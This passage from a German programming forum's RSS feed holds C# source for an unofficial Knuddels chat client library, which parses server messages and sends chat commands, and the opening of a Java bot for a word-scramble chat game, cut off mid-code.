                red = Color.FromArgb(int.Parse(parameter&#91;x + 13&#93;.Split(',')&#91;0&#93;), int.Parse(parameter&#91;x + 13&#93;.Split(',')&#91;1&#93;), int.Parse(parameter&#91;x + 13&#93;.Split(',')&#91;2&#93;));<br />
<br />
            //Wert durch den Blau ersetzt wird (°BB°)<br />
            Color blue = Color.Blue;<br />
            if (!(parameter&#91;x + 14&#93; == &quot;B&quot;))<br />
                blue = Color.FromArgb(int.Parse(parameter&#91;x + 14&#93;.Split(',')&#91;0&#93;), int.Parse(parameter&#91;x + 14&#93;.Split(',')&#91;1&#93;), int.Parse(parameter&#91;x + 14&#93;.Split(',')&#91;2&#93;));<br />
<br />
            //Eine bisher unbekannte Farbe<br />
            Color someOtherColor = Color.FromArgb(int.Parse(parameter&#91;x + 18&#93;.Split(',')&#91;0&#93;), int.Parse(parameter&#91;x + 18&#93;.Split(',')&#91;1&#93;), int.Parse(parameter&#91;x + 18&#93;.Split(',')&#91;2&#93;));<br />
            //Die Standartschriftgröße des Channels<br />
            int fontSize = int.Parse(parameter&#91;x + 15&#93;);<br />
            //Der horizontale Zeilenabstand des Cahnnels<br />
<br />
            int linePitch = int.Parse(parameter&#91;x + 16&#93;);<br />
            //Bei fotoflirt ist das linepitch immer 0<br />
            if (channelName.Contains(&quot;Foto&quot;))<br />
                linePitch = 0;<br />
            //Wahrscheinlich die Zeit in der das interne Anti-Spam-Script anläuft<br />
            //Wenn man nicht diese Zeit abstand zwischen zwei Posts lässt<br />
            int maybeSpamTimeout = 3000;<br />
            if (!change)<br />
                maybeSpamTimeout = int.Parse(parameter&#91;x + 22&#93;);<br />
            //Wir erstellen einen neuen Channel anhand der Infos die uns der Server gesendet hat<br />
            Channel chl = new Channel(channelName, nickJoined, foreColor, backColor, red, blue, fontSize, linePitch, someOtherColor, maybeSpamTimeout);<br />
            //Wenn ein Hintergrundbild eingestellt ist (kein &quot;-&quot; an Stelle 8 des Arrays)<br />
            if (parameter&#91;8&#93;.Split('/')&#91;parameter&#91;8&#93;.Split('/').Length - 1&#93; != &quot;-&quot; &amp;&amp; !change)<br />
            {<br />
                //laden wir noch unser Bild in unser Dateisystem herunter<br />
                chl.backgroundImage = ClientHelper.imageLoader(parameter&#91;8&#93;, ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.backgroundImagesDirectory, _client.chatSystem);<br />
                //und natürlich später zum HTMLén den Pfad zur Datei<br />
                chl.backgroundImagePath = parameter&#91;8&#93;;<br />
            }<br />
            //Ob das Hintergrundbild gestreckt, zentriert oder wiederholt wird<br />
            string repeatStrechCenter = parameter&#91;9&#93;;<br />
<br />
            //Wir geben den Channel zurück<br />
            return chl;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Erstellt eine UserListe aus den empfangenen Daten<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;data&quot;&gt;Die Daten vom Server&lt;/param&gt;<br />
        /// &lt;returns&gt;UserListe&lt;/returns&gt;<br />
        public UserList parseUserList(string data)<br />
        {<br />
            //Wir splitten den empfangenen string<br />
            string&#91;&#93; userListParameters = data.Split(s);<br />
            //Der Channelname ist die zweite Stelle im array<br />
            string channelName = userListParameters&#91;1&#93;;<br />
            //Dana wird immer ein user mit &quot;-\0&quot; gesplittet<br />
            string&#91;&#93; users = data.Split(new string&#91;&#93; { &quot;-&quot; + s }, StringSplitOptions.RemoveEmptyEntries);<br />
            //Die Userliste erstllen<br />
            UserList channelUsers = new UserList(channelName, data);<br />
            //Alle Userstrings durchlaufen<br />
            foreach (string userString in users)<br />
                //User selbst parsen (in separater Methode, wir arbeiten Objektorientiert!)<br />
                channelUsers.Add(parseUser(userString, channelName));<br />
            //Userliste zurückgeben<br />
            return channelUsers;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Erstellt einen User aus dem Userstring<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;userString&quot;&gt;Der String mit den Userparametern&lt;/param&gt;<br />
        /// &lt;param name=&quot;channelName&quot;&gt;Der Channel des Users&lt;/param&gt;<br />
        /// &lt;returns&gt;User&lt;/returns&gt;<br />
        public User parseUser(string userString, string channelName)<br />
        {<br />
            //Wenn es der erste teil des Userstrings ist, muss dieser entfernt werden<br />
            if (userString.StartsWith(&quot;u&quot; + s + channelName))<br />
                userString = userString.Replace(&quot;u&quot; + s + channelName, string.Empty);<br />
            //Nun kann man die einzelnen user-eigenschaften herausfiltern<br />
            string&#91;&#93; userParameters = userString.Split(new string&#91;&#93; { s.ToString() }, StringSplitOptions.RemoveEmptyEntries);<br />
            //Den Usernamen<br />
            string userName = string.Empty;<br />
            int age = 0;<br />
            if (userParameters&#91;0&#93;.Contains(&quot;\n&quot;))<br />
            {<br />
                userName = userParameters&#91;0&#93;.Split('\n')&#91;0&#93;;<br />
                //Das Alter<br />
                age = int.Parse(userParameters&#91;0&#93;.Split('\n')&#91;1&#93;);<br />
            }<br />
            else<br />
                userName = userParameters&#91;0&#93;;<br />
            //Die Formatierung des Usernamens<br />
            char userNameAppearanceFormatter = char.Parse(userParameters&#91;1&#93;);<br />
            //Und die vordergrundfarbe des Users (Schriftfarbe)<br />
            Color userForeColor = Color.Black;<br />
            if (userParameters&#91;2&#93; != &quot;B&quot;)<br />
                userForeColor = Color.FromArgb(int.Parse(userParameters&#91;2&#93;.Split(',')&#91;0&#93;), int.Parse(userParameters&#91;2&#93;.Split(',')&#91;1&#93;), int.Parse(userParameters&#91;2&#93;.Split(',')&#91;2&#93;));<br />
            else if (userParameters&#91;2&#93; == &quot;B&quot;)<br />
                userForeColor = Color.Black;<br />
            //Als nächstes müssen wir noch sehen ob an dem User bilder dranhängen<br />
            Dictionary&lt;string, Image&gt; userImages = new Dictionary&lt;string, Image&gt;();<br />
            //Alles nach der 3. Stelle in userParameters sind Pics<br />
<br />
            //Die natürlich auch anzeigen ob Männlich oder Weiblich<br />
            bool? gender = null;<br />
            //oder andere Status<br />
            bool away = false;<br />
            bool cm = false;<br />
            bool ill = false;<br />
            bool pillowFighter = false;<br />
            bool hasDevilsBomb = false;<br />
            bool isNewBee = false;<br />
            bool moderatorRights = false;<br />
            bool vipRights = false;<br />
            bool schützling = false;<br />
<br />
            for (int x = 3; x &lt;= userParameters.Length - 1; x++)<br />
            {<br />
                //To-Do---&gt;<br />
                //Auslesen aller statuspics zwecks festlegen von usereigenschaften<br />
                //cm zb oder nose oder zzz<br />
                //---&gt;<br />
<br />
                //Feststellen des Alters, wenn angegeben und im Channel angezeigt<br />
<br />
                //Wichtig!!! Da in female &quot;male&quot; drinsteckt, müssen wir zuerst die weibchen<br />
                //parsen, sonst sind auf einmal alle männlich<br />
                if (userParameters&#91;x&#93;.Contains(&quot;female&quot;))<br />
                    gender = false;<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;male&quot;))<br />
                    gender = true;<br />
<br />
                //ob der User gerade away ist<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;away&quot;))<br />
                    away = true;<br />
                //ob er cm ist<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;cm&quot;))<br />
                    cm = true;<br />
                //ob er die knuddeslgrippe hat<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;nose&quot;))<br />
                    ill = true;<br />
                //ob er gerade an einer Kissenschlacht teilnimmt<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;pillow&quot;))<br />
                    pillowFighter = true;<br />
                //ob er die Bombe des Devilsmileys hat<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;devilbomb&quot;))<br />
                    hasDevilsBomb = true;<br />
                //ob er ein newbie ist<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;newUser&quot;))<br />
                    isNewBee = true;<br />
                //ob er der Schützling des eingeloggten Nicks ist<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;schaf&quot;))<br />
                    schützling = true;<br />
                //ob er Mod-Status hat<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;moderator&quot;))<br />
                    moderatorRights = true;<br />
                //ob er VIP-Status hat<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;vip&quot;))<br />
                    vipRights = true;<br />
                //Hier laden wir das Bild in unser Filesystem und fügen es zur Imagelist des users hinzu<br />
                userImages.Add(userParameters&#91;x&#93;, ClientHelper.imageLoader(userParameters&#91;x&#93;, ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.standartPicsDirectory, _client.chatSystem));<br />
            }<br />
            //Den User erstellen mit den Standartwerten<br />
            User usr = new User(userName, gender, userNameAppearanceFormatter, userForeColor, userImages);<br />
            //Die verschiedenen Bilderabhängigen Status setzen<br />
            usr.cm = cm; usr.ill = ill; usr.pillowFighter = pillowFighter;<br />
            usr.hasDevilsBomb = hasDevilsBomb; usr.isNewBee = isNewBee;<br />
            usr.schützling = schützling; usr.moderatorRights = moderatorRights;<br />
            usr.vipRights = vipRights;<br />
<br />
            if (age != 0)<br />
                usr.age = age;<br />
<br />
            return usr;<br />
        }<br />
<br />
        public User parseUserJoinsChannel(string data)<br />
        {<br />
            string&#91;&#93; userParameters = data.Split(s);<br />
<br />
            string userName = string.Empty;<br />
            int age = 0;<br />
            if (userParameters&#91;2&#93;.Contains(&quot;\n&quot;))<br />
            {<br />
                age = int.Parse(userParameters&#91;2&#93;.Split('\n')&#91;1&#93;);<br />
                userName = userParameters&#91;2&#93;.Split('\n')&#91;0&#93;;<br />
            }<br />
            else<br />
                userName = userParameters&#91;2&#93;;<br />
<br />
            char userNameAppearanceFormatter = char.Parse(userParameters&#91;3&#93;);<br />
            Color userForeColor = Color.FromArgb(int.Parse(userParameters&#91;4&#93;.Split(',')&#91;0&#93;), int.Parse(userParameters&#91;4&#93;.Split(',')&#91;1&#93;), int.Parse(userParameters&#91;4&#93;.Split(',')&#91;2&#93;));<br />
<br />
            Dictionary&lt;string, Image&gt; userImages = new Dictionary&lt;string, Image&gt;();<br />
            bool? gender = null;<br />
            int y = 0;<br />
            for (int x = 5; x &lt;= userParameters.Length - 1; x++)<br />
            {<br />
                if (userParameters&#91;x&#93; == &quot;-&quot;)<br />
                {<br />
                    y = x + 1;<br />
                    break;<br />
                }<br />
                if (userParameters&#91;x&#93;.Contains(&quot;female&quot;))<br />
                    gender = false;<br />
                else if (userParameters&#91;x&#93;.Contains(&quot;male&quot;))<br />
                    gender = true;<br />
                userImages.Add(userParameters&#91;x&#93;, ClientHelper.imageLoader(userParameters&#91;x&#93;, ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.standartPicsDirectory, _client.chatSystem));<br />
            }<br />
<br />
            string channelLeaved = null;<br />
            //Der Channel der verlassen wurde<br />
            if (userParameters&#91;y&#93; != &quot;&quot;)<br />
                channelLeaved = userParameters&#91;y&#93;;<br />
<br />
            string channelJoined = null;<br />
            //Der Channel der betreten wurde<br />
            if (userParameters&#91;1&#93; != &quot;-&quot;)<br />
                channelJoined = userParameters&#91;1&#93;;<br />
<br />
            User usr = new User(userName, gender, userNameAppearanceFormatter, userForeColor, userImages, channelJoined, channelLeaved);<br />
<br />
            if (age != 0)<br />
                usr.age = age;<br />
<br />
            //zwei bisher nicht bekannte Informationen<br />
            string unknownArgument1 = userParameters&#91;userParameters.Length - 2&#93;;<br />
            string unknownArgument2 = userParameters&#91;userParameters.Length - 1&#93;;<br />
<br />
<br />
            return usr;<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Parsed eine öffentliche Nachricht zurecht<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;data&quot;&gt;Die Daten vom Server&lt;/param&gt;        <br />
        /// &lt;returns&gt;PublicMessage&lt;/returns&gt;<br />
        public PublicMessage parsePublicMessage(string data, bool function)<br />
        {<br />
            string&#91;&#93; messageParameters = data.Split(s);<br />
            string sender = messageParameters&#91;1&#93;;<br />
<br />
            string channel = messageParameters&#91;2&#93;;<br />
            string message = messageParameters&#91;3&#93;;<br />
            string imageName = null;<br />
<br />
            if (sender == &quot;&gt;&quot;)<br />
            {<br />
                sender = KCode.ToHTML(&quot;°BB°_&gt;; &quot;, _client.actualChannel);<br />
            }<br />
<br />
            Image img = null;<br />
            String imagePath = null;<br />
<br />
            string sizer = null;<br />
            if (messageParameters.Length &gt; 4)<br />
            {<br />
                imageName = messageParameters&#91;4&#93;;<br />
                imageName = imageName.Substring(imageName.LastIndexOf(&quot;/&quot;) + 1);<br />
                imageName = imageName.Replace(&quot;?&quot;, &quot;´&quot;);<br />
                imageName = imageName.Replace(&quot;%&quot;, &quot;~&quot;);<br />
                if (imageName.StartsWith(&quot;knuddels.de&quot;))<br />
                {<br />
                    string directory = ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.userPicsDirectory + &quot;/&quot; + ClientHelper.userPicsThumbs;<br />
                    img = ClientHelper.imageLoader(messageParameters&#91;4&#93;, directory, this._client.chatSystem);<br />
                    imagePath = new FileInfo(ClientHelper.imageDirectory + @&quot;&quot; + ClientHelper.userPicsDirectory + @&quot;&quot; + ClientHelper.userPicsThumbs + @&quot;&quot; + imageName).FullName;<br />
                }<br />
                else<br />
                {<br />
                    string directory = ClientHelper.imageDirectory + &quot;/&quot; + ClientHelper.standartPicsDirectory;<br />
                    img = ClientHelper.imageLoader(messageParameters&#91;4&#93;, directory, this._client.chatSystem);<br />
                    imagePath = new FileInfo(ClientHelper.imageDirectory + @&quot;&quot; + ClientHelper.standartPicsDirectory + @&quot;&quot; + imageName).FullName;<br />
                }<br />
            }<br />
<br />
            string fotoFlirtHTML = &quot;&quot;;<br />
            if (channel.Contains(&quot;FotoFlirt&quot;))<br />
            {<br />
                fotoFlirtHTML = &quot;&lt;tr&gt;&lt;td&gt;&lt;div style =&quot;width=&quot;40&quot;&quot;&gt;&lt;/td&gt;&lt;td&gt;&lt;hr style=&quot;border:none;border-top: 1px solid #333333;background-color:#000000;height:1px;&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;<br />
            }<br />
            if (_client.useHTMLEngine)<br />
            {<br />
                if (img == null)<br />
                    sender =<br />
                        fotoFlirtHTML +<br />
                        &quot;&lt;a href=&quot;/serverpp &quot; + messageParameters&#91;1&#93; + &quot;|/w &quot; + messageParameters&#91;1&#93; + &quot;&quot; style =&quot;text-decoration:none; color:&quot; + ColorTranslator.ToHtml(_client.userChannels&#91;channel&#93;.foreColor) + &quot;;&quot; &lt;b&gt;&quot; + messageParameters&#91;1&#93; + &quot;&lt;/b&gt;&lt;/a&gt;&quot;;<br />
                else<br />
                {<br />
                    sender =<br />
                        &quot;&lt;table width=&quot;100%&quot; height=&quot;1%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&quot; +<br />
                        fotoFlirtHTML +<br />
                        &quot;&lt;tr&gt;&lt;td width=&quot;40&quot; height=&quot;40&quot; style=&quot;vertical-align:top;&quot;&gt;&lt;img src=&quot;&quot; + &quot;file:///&quot; + imagePath + &quot;&quot; width=&quot;40&quot; height=&quot;40&quot; style=&quot;border:1px solid #FFFFFF;&quot; &gt;&lt;/td&gt;&quot; +<br />
                        &quot;&lt;td valign=&quot;middle&quot; &gt;&quot; +<br />
                        &quot;&lt;a class=&quot;std&quot; href=&quot;/serverpp &quot; + messageParameters&#91;1&#93; + &quot;|/w &quot; + messageParameters&#91;1&#93; + &quot;&quot;&gt;&quot; + messageParameters&#91;1&#93; + &quot;&lt;/a&gt;&quot;;<br />
                    message = message + &quot;&lt;/tr&gt;&lt;/td&gt;&lt;/table&gt;&quot;;<br />
                }<br />
<br />
                if (messageParameters&#91;1&#93; == &quot;&gt;&quot;)<br />
                {<br />
                    sender =<br />
                        &quot;&lt;table width=&quot;100%&quot; height=&quot;1%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&quot; +<br />
                        fotoFlirtHTML +<br />
                        &quot;&lt;td width=&quot;1%&quot; style=&quot;vertical-align:top;&quot;&gt;&lt;img src=&quot;&quot; + &quot;file:///&quot; + imagePath + &quot;&quot; width=&quot;40&quot; height=&quot;40&quot;&gt;&lt;/td&gt;&quot; +<br />
                        &quot;&lt;td valign=&quot;middle&quot;&gt;&quot; +<br />
                        messageParameters&#91;1&#93; + &quot;&lt;/a&gt;&quot;;<br />
                }<br />
            }<br />
<br />
            return new PublicMessage(sender, channel, message, function);<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Parsed eine private Nachricht zurecht<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;data&quot;&gt;Die Daten vom Server&lt;/param&gt;<br />
        /// &lt;returns&gt;Private Message&lt;/returns&gt;<br />
        public PrivateMessage parsePrivateMessage(string data)<br />
        {<br />
            string&#91;&#93; messageParameters = data.Split(s);<br />
<br />
            string sender = messageParameters&#91;1&#93;;<br />
            List&lt;string&gt; receivers = new List&lt;string&gt;();<br />
<br />
            if (messageParameters&#91;2&#93;.Contains(&quot;, &quot;))<br />
                receivers.AddRange(messageParameters&#91;2&#93;.Split(new string&#91;&#93; { &quot;, &quot; }, StringSplitOptions.RemoveEmptyEntries));<br />
            else<br />
                receivers.Add(messageParameters&#91;2&#93;);<br />
<br />
            string fromChannel = messageParameters&#91;3&#93;;<br />
            //Wenn die Nachricht aus einem Channel kommt in dem wir uns gerade befinden<br />
            //wir dies durch ein &quot;-&quot; an Stelle des Channelnamens angezeigt<br />
            if (fromChannel == &quot;-&quot;)<br />
                fromChannel = _client.actualChannel.channelName;<br />
<br />
            string message = messageParameters&#91;4&#93;;<br />
<br />
            return new PrivateMessage(sender, receivers, fromChannel, message);<br />
        }<br />
<br />
<br />
<br />
<br />
        //Da es zuviele verschiedene Fenster gibt,<br />
        //Gibt es extra eine Methode um Fenster zu parsen        <br />
        public void WindowParser(string&#91;&#93; WindowTokens)<br />
        {<br />
<br />
        }<br />
    }<br />
}&#91;/highlight&#93;<br />
<br />
Commands.cs<br />
&#91;highlight=csharp&#93;using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using KLib2.Kodierungen;<br />
using System.Windows.Forms;<br />
<br />
namespace KLib2<br />
{<br />
    public class Commands<br />
    {<br />
        private char s;<br />
<br />
        public Client client { get { return c; } }<br />
        private Client c;<br />
<br />
        private event EventHandler&lt;ChannelLeftEventargs&gt; _OnChannelLeft;<br />
<br />
        public Commands(Client client, char splitter, EventHandler&lt;ChannelLeftEventargs&gt; OnChannelLeft)<br />
        { c = client; s = splitter; _OnChannelLeft = OnChannelLeft; }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Der Befehl zum Ausloggen<br />
        /// &lt;/summary&gt;<br />
        public void Exit()<br />
        { c.SendRaw(&quot;d&quot;); }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Einen Channel betreten<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;channelName&quot;&gt;Name des Channels&lt;/param&gt;<br />
        public void JoinToChannel(string channelName, string nickName, string password, string passKey)<br />
        {<br />
            PasswordHash pwh = new PasswordHash(passKey);<br />
            c.SendRaw(&quot;n&quot; + s + channelName + s + nickName + s + pwh.GetHashedPassword(password).ToString());<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Sendet den Befehl um die UserList eines Channels zu holen<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;channel&quot;&gt;Name des Channels&lt;/param&gt;<br />
        public void getUserInChannel(string channel)<br />
        {<br />
            c.SendRaw(&quot;r&quot; + channel);<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Verlässt einen Channel wieder<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;channelName&quot;&gt;Name des Channels&lt;/param&gt;<br />
        public void LeaveChannel(string channelName, EventHandler&lt;LoggedInStateChangedEventArgs&gt; OnLoggedInStateChanged)<br />
        {<br />
            c.SendRaw(&quot;w&quot; + s + channelName);<br />
            if (_OnChannelLeft != null)<br />
                _OnChannelLeft(c, new ChannelLeftEventargs(channelName));<br />
            c.userChannels.Remove(channelName);<br />
<br />
            if (c.userChannels.Count == 0)<br />
            {<br />
                c.loggedIn = false;<br />
                if (OnLoggedInStateChanged != null)<br />
                    OnLoggedInStateChanged(this, new LoggedInStateChangedEventArgs(c.loggedIn));<br />
            }<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Sendet eine Öffentliche Nachricht an einen Channel<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;pubM&quot;&gt;Die öffentliche Nachricht&lt;/param&gt;        <br />
        public void SendPublicMessage(PublicMessage pubM)<br />
        {<br />
            c.SendRaw(&quot;e&quot; + s + pubM.channel + s + pubM.message);<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Sendet eine Private Nachricht an den Chat<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;pm&quot;&gt;Die Private Nachricht die gesendet werden soll&lt;/param&gt;<br />
        public void SendPrivateMessage(PrivateMessage pm)<br />
        {<br />
            string receivers = &quot;&quot;;<br />
<br />
            if (pm.receiver.Count &gt; 1)<br />
                for (int i = 0; i &lt;= pm.receiver.Count; i++)<br />
                    if (i == 0)<br />
                        receivers += pm.receiver&#91;i&#93;;<br />
                    else<br />
                        receivers += &quot;,&quot; + pm.receiver&#91;i&#93;;<br />
            else<br />
                receivers = pm.receiver&#91;0&#93;;<br />
<br />
            c.SendRaw(&quot;e&quot; + s + pm.fromChannel + s + &quot;/p &quot; + receivers + &quot;:&quot; + pm.message);<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Sendet eine ChatMail an einen Chatter (/m)<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;chatMail&quot;&gt;Die zu sendende ChatMail&lt;/param&gt;<br />
        public void SendChatMail(ChatMail chatMail)<br />
        {<br />
            if (chatMail.Betreff != string.Empty &amp;&amp; chatMail.Betreff != &quot;&quot; &amp;&amp; chatMail.Betreff != null)<br />
                c.SendRaw(&quot;e&quot; + s + chatMail.channel + s + &quot;/m &quot; + chatMail.Empfänger + &quot;:&quot; + chatMail.Betreff + &quot;§&quot; + chatMail.Nachricht);<br />
            else<br />
                c.SendRaw(&quot;e&quot; + s + chatMail.channel + s + &quot;/m &quot; + chatMail.Empfänger + &quot;:&quot; + chatMail.Nachricht);<br />
        }<br />
<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script>
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">sourcecode-91/tokenparsing-hilfe-30308</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Wordmix]]></title>
			<link>sourcecode-91/java-wordmix-830?goto=newpost</link>
			<pubDate>Wed, 23 Nov 2011 14:29:31 GMT</pubDate>
			<description>Hallo, 
im Moment programmiere ich eine Wordmix-Klasse für meinen MClienten und dachte, ich könnte das bisherige Resultat mal online stellen hihio....</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
im Moment programmiere ich eine Wordmix-Klasse für meinen MClienten und dachte, ich könnte das bisherige Resultat mal online stellen hihio.<br />
[HIDE]<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">package&nbsp;util</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">BufferedReader</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">InputStreamReader</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">UnsupportedEncodingException</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">net</span><span style="color: #007700">.</span><span style="color: #0000BB">URL</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">net</span><span style="color: #007700">.</span><span style="color: #0000BB">URLConnection</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">HashMap</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.List;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matcher</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Pattern</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*&nbsp;<br />&nbsp;*&nbsp;@author&nbsp;Mentos<br />&nbsp;*&nbsp;Fully&nbsp;rewritten&nbsp;WordmixBot&nbsp;by&nbsp;Mentos.<br />&nbsp;*&nbsp;Ich&nbsp;bin&nbsp;krank.&nbsp;Habt&nbsp;Mitleid!<br />&nbsp;*&nbsp;Wer&nbsp;sie&nbsp;verwendet,&nbsp;schreibt&nbsp;es&nbsp;bitte&nbsp;in&nbsp;den&nbsp;Bot&nbsp;rein!<br />&nbsp;*/<br /></span><span style="color: #007700">public&nbsp;class&nbsp;</span><span style="color: #0000BB">WordmixBot&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">WordmixBot</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;input&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Markt(°B°1°°)&nbsp;in(°B°2°°)&nbsp;mit(°B°3°°)&nbsp;steigt(°B°4°°)&nbsp;Berger(°B°5°°)&nbsp;Bilfinger(°B°6°°)&nbsp;ein.(°B°7°°)&nbsp;Übernahme(°B°8°°)&nbsp;indischen(°B°9°°)"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">googleAnswere</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/**<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Liest&nbsp;den&nbsp;Quelltext&nbsp;einer&nbsp;Seite&nbsp;aus<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;websiteURL&nbsp;Die&nbsp;InternetSeite<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;Den&nbsp;Quelltext<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;getSource</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;websiteURL</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;sourceLine</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">URL&nbsp;url&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">URL</span><span style="color: #007700">(</span><span style="color: #0000BB">websiteURL</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">URLConnection&nbsp;con&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">url</span><span style="color: #007700">.</span><span style="color: #0000BB">openConnection</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">con</span><span style="color: #007700">.</span><span style="color: #0000BB">setRequestProperty</span><span style="color: #007700">(</span><span style="color: #DD0000">"User-Agent"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//InputStream&nbsp;inputStream&nbsp;=&nbsp;url.openStream();<br 